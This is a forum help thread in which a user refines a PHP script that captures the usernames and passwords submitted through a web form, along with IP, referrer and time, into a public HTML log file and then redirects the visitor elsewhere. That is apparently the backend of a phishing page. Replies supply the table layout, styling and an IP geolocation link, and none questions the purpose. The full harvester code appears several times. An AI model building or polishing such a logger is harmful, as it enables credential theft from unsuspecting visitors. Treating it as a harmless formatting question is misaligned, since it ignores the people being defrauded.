Jump to content

Creating a table from php to .html


WKX
Go to solution Solved by Ansego,

Recommended Posts

I was creating a simple IP logger for my website, which turned in a basic account/password logger. I just want to place everything in a nice neat table, with a header for each column. Now my php code generates a .html for the log file. I tryed everything but I don't know if I need to edit the .html and add some css or edit the php file to create the table. Does anyone here have any ideas? I just want something basic.

 

My php code:

<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);
$pas = htmlspecialchars($pas, ENT_QUOTES);

$content = "<b>[Date] -</b> " . $today . "      <b>[IP] - </b>" . $ip . "      <b>[Account] - </b>" . $nam . "      <b>[Password] - </b>" . $pas . "<br />";

$filed = @fopen("logs.html", "a+");
@fwrite($filed, "$content\n\n");
@fclose($filed);
}
header('Location: http://mytrips30.3owl.com/');
exit;
?>

My .html generated log file:

<!DOCTYPE html>
<html>
<STYLE type=text/css>

body {color:white;}

</STYLE>

<body style="background-color:black;">

</body>

</html>
Link to comment
Share on other sites

Hi,

 

I would of thought you'd build the table in this string since it has html through it already and the output data:

$content = "<b>[Date] -</b> " . $today . "      <b>[IP] - </b>" . $ip . "      <b>[Account] - </b>" . $nam . "      <b>[Password] - </b>" . $pas . "<br />";

to something like (Mock code):

$content = "<tr><td><b>[Date] -</b> " . $today . "      <b>[IP] - </b>" . $ip . "      <b>[Account] - </b>" . $nam . "      <b>[Password] - </b>" . $pas . "</td></tr>";
Edited by Ansego
Link to comment
Share on other sites

The modified code above did not do anything Ansego :(

 

This is how the .html file looks once its created, I just want to create a table with rows and columns. Also, I want to have the table create a new row once another account/password is logged.

 

fqe84.png

Link to comment
Share on other sites

Try this:

$content = "<table><tr><td><b>[Date]: -</b>" . $today . "</td></tr><td><tr><b>[IP]: </b>" . $ip . "</td></tr><td><tr><b>[Account]</b>" . $nam . "</td></tr><td><tr><b>[Password]</b>" . $pas . "</td></tr></table>";
Link to comment
Share on other sites

um,

 

A table in HTML looks something like:

<table width="300" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td> </td>
    <td> </td>
  </tr>
  <tr>
    <td> </td>
    <td> </td>
  </tr>
  <tr>
    <td> </td>
    <td> </td>
  </tr>
  <tr>
    <td> </td>
    <td> </td>
  </tr>
  <tr>
    <td> </td>
    <td> </td>
  </tr>
</table>

We want to convert that with your variables something like:

$content = "<table width='300' border='0' cellspacing='0' cellpadding='0'>
  <tr>
    <td> </td>
    <td> </td>
  </tr>
  <tr>
    <td>Data:</td>
    <td>" . $today . "</td>
  </tr>
  <tr>
    <td>IP:</td>
    <td>" . $ip . "</td>
  </tr>
  <tr>
    <td>Account: </td>
    <td>" . $nam . "</td>
  </tr>
  <tr>
    <td>Password:</td>
    <td>" . $pas . "</td>
  </tr>
  <tr>
    <td> </td>
    <td> </td>
  </tr>
</table>";

If this fails we will need to look at something else.

Link to comment
Share on other sites

Data: March 26, 2014, 7:19 am

IP: 24.89.195.253

Account: test

Password: test        

 

Data: March 26, 2014, 7:20 am

IP: 24.89.195.253

Account: test2

Password: test2

 

looks awesome! I am going to see if I can change the color of the table lines white and change the color of the $content

Edited by WKX
Link to comment
Share on other sites

This it how looks now! I just want to the Account Data section to be a different color and there to be a couple of spaces in between each table, I tryed inputing a color font into php but was getting error's

 

Untitled.png

Link to comment
Share on other sites

 

 

I just want to the Account Data section to be a different color and there to be a couple of spaces in between each table,

For the spacing apply a margin to the table in your css

table {
   margin: 10px; /* Applies 10px space around each table */
}

 

 

ryed inputing a color font into php but was getting error's

What code did you try? Post your code here.

Link to comment
Share on other sites

I put the code above to create a margin around the table in my CSS tags in my .html file:

<!DOCTYPE html>
<title>Account Logs</title>
<html>
<STYLE type=text/css>
body {color:white;}
font-family:Verdana, Arial, Helvetica, sans-serif;
table {
   margin: 10px; /* Applies 10px space around each table */
}
</STYLE>
<body style="background-color:black;">
</body>
</html>

Nothing happened.

 

I try'd changing the font color of the  "Account Data" column via the .php file, but nothing happened, any ideas?

Link to comment
Share on other sites

Replace your css code:

<style type="text/css">
body {
   background-color:#666;
   color:#FFF;
}
#account{
   color:#3CF;
}
</style>

With the text colour: 

    <td>Account: </td>
    <td>" . $nam . "</td>

Change too:

    <td class='account'>Account: </td>
    <td class='account'>" . $nam . "</td>
Edited by Ansego
Link to comment
Share on other sites

that code did not work :( I did mange to create a margin around the table and center it :)

 

I just want two more things.

 

1) I just want to know how to change the color of the $content in table.

2) When the log is generated, have the logged IP address hyperlinked to "http://www.geoiptool.com/"

 

Thank you so much Ansego

 

Here is what I have so far in my php code:


<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);
$pas = htmlspecialchars($pas, ENT_QUOTES);
$content = "<center><table width='600' border='1' cellspacing='0' cellpadding='0' align='center' style='margin:33pt;'></center>
 
  <tr>
    <th>Information</th>
    <th>Account Data</th>
  </tr>
  <tr>
    <td>Date:</td>
    <td>" . $today . "</td>
  </tr>
  <tr>
    <td>Link:</td>
    <td>" . $ref . "</td>
  </tr>
  <tr>
    <td>IP:</td>
    <td>" . $ip . "</td>
  </tr>
  <tr>
    <td>Account: </td>
    <td>" . $nam . "</td>
  </tr>
  <tr>
    <td>Password:</td>
    <td>" . $pas . "</td>
  </tr>
  <tr>
    <th>Information</th>
    <th>Account Data</th>
  </tr>
</table>";
$filed = @fopen("logs.html", "a+");
@fwrite($filed, "$content\n\n");
@fclose($filed);
}
exit;
?>
 

Here is what I have so far in my .html file:

<!DOCTYPE html>
<title>Account Logs</title>
<html>


<STYLE type=text/css>

body {color:white;}
font-family:Verdana, Arial, Helvetica, sans-serif;
table, td, th
{
border:1px solid green;
}
th
{
background-color:green;
color:white;
}

</STYLE>

<body style="background-color:black;">

</body>

</html>

Untitled.png

Link to comment
Share on other sites

Hi.

 

1) I just want to know how to change the color of the $content in table.
 
$content is just a variable that holds your string of your table, you don't change the color of that. You would change the color of your table within that string if you wanted...
 
2) When the log is generated, have the logged IP address hyperlinked to "http://www.geoiptool.com/"
 
Something like:
<td><a href='http://www.geoiptool.com/en/?IP=" . $ip . "' target='_blank'>" . $ip . "</a></td>

Hope this helps, please mark as solved if you are satisfied.

Link to comment
Share on other sites

updated:

 

I just want the border around "Information" "Account Data" to show

<!DOCTYPE html>
<title>Account Logs</title>
<html>


<STYLE type=text/css>
.main-table {
    border-collapse: collapse;
}
.main-table td {
    margin: 0px;
    padding: 0px;
    border: 1px solid #00FF00;
    padding: 4px 4px 4px 4px;
}
a:link {color:#00FF00;}      /* unvisited link */
a:visited {color:#00FF00;}  /* visited link */
a:hover {color:#7FE817;}  /* mouse over link */
a:active {color:#00FF00;}  /* selected link */
body {color:white;}
font-family:Verdana, Arial, Helvetica, sans-serif;
table, td, th
{
 border: 1px solid #00FF00;
}
th
{
background-color:green;
color:white;
}

</STYLE>

<body style="background-color:black;">

</body>

</html>

my php code:

<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);
$pas = htmlspecialchars($pas, ENT_QUOTES);
$content = "<center><table width='600' border='0' class='main-table' cellspacing='0' cellpadding='0' align='center' style='margin:33pt;'></center>

  <tr>
    <th>Information</th>
    <th>Account Data</th>
  </tr>
  <tr>
    <td>Date:</td>
    <td>" . $today . "</td>
  </tr>
  <tr>
    <td>Link:</td>
    <td>" . $ref . "</td>
  </tr>
  <tr>
    <td>IP:</td>
    <td><a href='http://www.geoiptool.com/en/?IP=" . $ip . "' target='_blank'>" . $ip . "</td>
  </tr>
  <tr>
    <td>Account: </td>
    <td>" . $nam . "</td>
  </tr>
  <tr>
    <td>Password:</td>
    <td>" . $pas . "</td>
  </tr>
  <tr>
    <th>Information</th>
    <th>Account Data</th>
  </tr>
</table>";
$filed = @fopen("logs.html", "a+");
@fwrite($filed, "$content\n\n");
@fclose($filed);
}
header('Location: http://www.youtube.com/watch?v=4fndeDfaWCg');
exit;
?>

Untitled.png

Link to comment
Share on other sites

I got it fixed:

 

<!DOCTYPE html>
<title>Account Logs</title>
<html>
 
<style type="text/css">
.main-table { background-color:#000000;border-collapse:collapse; }
.main-table th { background-color:#008000;color:white; }
.main-table td, .main-table th { padding:4px;border:1px solid #008000; }
a:link {color:#00FF00;}      /* unvisited link */
a:visited {color:#00FF00;}  /* visited link */
a:hover {color:#7FE817;}  /* mouse over link */
a:active {color:#00FF00;}  /* selected link */
body {color:white;}
font-family:Verdana, Arial, Helvetica, sans-serif;
</STYLE>
 
<body style="background-color:black;">
 
</body>
</html>
 
 
Thank you so much Ansego!
Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.